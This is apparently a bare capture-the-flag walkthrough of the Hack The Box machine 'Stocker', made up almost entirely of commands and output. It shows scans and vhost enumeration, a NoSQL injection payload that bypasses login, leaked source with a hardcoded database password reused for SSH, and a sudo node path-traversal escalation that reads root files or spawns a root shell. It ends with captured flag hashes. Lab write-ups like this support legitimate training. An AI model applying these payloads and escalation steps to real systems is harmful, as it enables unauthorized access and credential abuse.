Hackthebox——Stocker

PORT  STATE SERVICE VERSION 22/tcp open ssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http  nginx 1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

python3 dirsearch.py -u http://stocker.htb/

gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u stocker.htb -t 50 --append-domain
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]

payload: {"username":{"$ne": "x"},"password":{"$ne": "y"}}

user www-data; worker_processes auto; pid /run/nginx.pid; include /etc/nginx/modules-enabled/*.conf; events { worker_connections 768; # multi_accept on; } http { ## # Basic Settings ## sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; # server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; ## # SSL Settings ## ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on; ## # Logging Settings ## access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; ## # Gzip Settings ## gzip on; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; ## # Virtual Host Configs ## include /etc/nginx/conf.d/*.conf; server { listen 80; root /var/www/dev; index index.html index.htm index.nginx-debian.html;

const express = require("express"); const mongoose = require("mongoose"); const session = require("express-session"); const MongoStore = require("connect-mongo"); const path = require("path"); const fs = require("fs"); const { generatePDF, formatHTML } = require("./pdf.js"); const { randomBytes, createHash } = require("crypto"); const app = express(); const port = 3000; // TODO: Configure loading from dotenv for production const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1"; app.use(express.json()); app.use(express.urlencoded({ extended: false })); app.use( session({ secret: randomBytes(32).toString("hex"), resave: false, saveUninitialized: true, store: MongoStore.create({ mongoUrl: dbURI, }), }) ); app.use("/static", express.static(__dirname + "/assets")); app.get("/", (req, res) => { return res.redirect("/login"); }); app.get("/api/products", async (req, res) => { if (!req.session.user) return res.json([]); const products = await mongoose.model("Product").find(); return res.json(products); }); app.get("/login", (req, res) => { if (req.session.user) return res.redirect("/stock"); return res.sendFile(__dirname + "/templates/login.html"); }); app.post("/login", async (req, res) => { const { username, password } = req.body; if (!username || !password) return res.redirect("/login?error=login-error"); // TODO: Implement hashing const user = await mongoose.model("User").findOne({ username, password }); if (!user) return res.redirect("/login?error=login-error"); req.session.user = user.id; console.log(req.session); return res.redirect("/stock"); }); app.post("/api/order", async (req, res) => { if (!req.session.user) return res.json({}); if (!req.body.basket) return res.json({ success: false });

angoose：IHeardPassphrasesArePrettySecure

64e161a4a5004d3a12cd4e6d266489a6

Matching Defaults entries for angoose on stocker:   env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
 User angoose may run the following commands on stocker:   (ALL) /usr/bin/node /usr/local/scripts/*.js

drwxr-xr-x 4 angoose angoose 4096 Mar 3 02:25 . drwxr-xr-x 3 root  root  4096 Dec 23 16:39 .. lrwxrwxrwx 1 root  root    9 Dec 6 09:54 .bash_history -> /dev/null -rw-r--r-- 1 angoose angoose 220 Dec 6 09:53 .bash_logout -rw-r--r-- 1 angoose angoose 3771 Dec 6 09:53 .bashrc drwx------ 2 angoose angoose 4096 Mar 2 08:48 .cache -rw-rw-r-- 1 angoose angoose  67 Mar 2 09:50 cat_flag.js -rw-rw-r-- 1 angoose angoose 138 Mar 3 02:22 flag.js drwxrwxr-x 3 angoose angoose 4096 Mar 2 11:29 .local -rw-r--r-- 1 angoose angoose 807 Dec 6 09:53 .profile -rw-r----- 1 root  angoose  33 Mar 2 08:36 user.txt -rw------- 1 angoose angoose 2465 Mar 2 18:22 .viminfo

process.stdout.write(require("fs").readFileSync("/root/root.txt"))

const fs = require(‘fs’); fs.readFile(‘/root/root.txt’, ‘utf8’, (err, data) => { if (err) throw err; console.log(data); });

require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})

sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/test.js

06e8808600c78a8aafaa44a3b8b18cb0